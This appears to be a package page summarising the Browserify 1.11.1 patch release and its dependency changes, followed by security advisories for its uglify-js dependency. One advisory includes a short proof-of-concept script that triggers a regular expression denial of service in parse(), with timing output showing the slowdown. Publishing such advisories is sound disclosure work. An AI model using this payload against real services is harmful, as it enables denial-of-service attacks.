Browserify 1.11.1 is a minor patch release following version 1.11.0, both designed to bring Node.js-style modules to the browser. Developers using Browserify can write modular JavaScript code using require() statements, making large-scale web applications more maintainable and organized. Both versions share the same core functionality and description: enabling browser-side require() for JavaScript directories and npm modules. Key dependencies such as resolve, coffee-script, vm-browserify, http-browserify, and crypto-browserify remain consistent, ensuring access to features like module resolution, CoffeeScript support, and browser-compatible implementations of core Node.js modules.
The main difference lies in the dependency specifications for nub, deputy, optimist, commondir and detective. Version 1.11.1 introduces slightly stricter or more well-defined version constraints for some of these dependencies, for example nub goes from 0.0.x to ~0.0.0 and optimist goes from ~0.2.6 to ~0.3.4, potentially addressing compatibility issues or incorporating minor updates from those packages. The devDependencies, including testing tools like seq and tap, and libraries for development environments like jade, lazy, dnode, connect, hashish, backbone, ecstatic, traverse, jquery-browserify, remain the same, suggesting no significant changes to the development workflow or testing environment. This patch release likely focuses on stabilizing the existing feature set rather than introducing new capabilities. The release dates also show a very short time window, which reinforces the idea of a patch change.
All the vulnerabilities related to the version 1.11.1 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.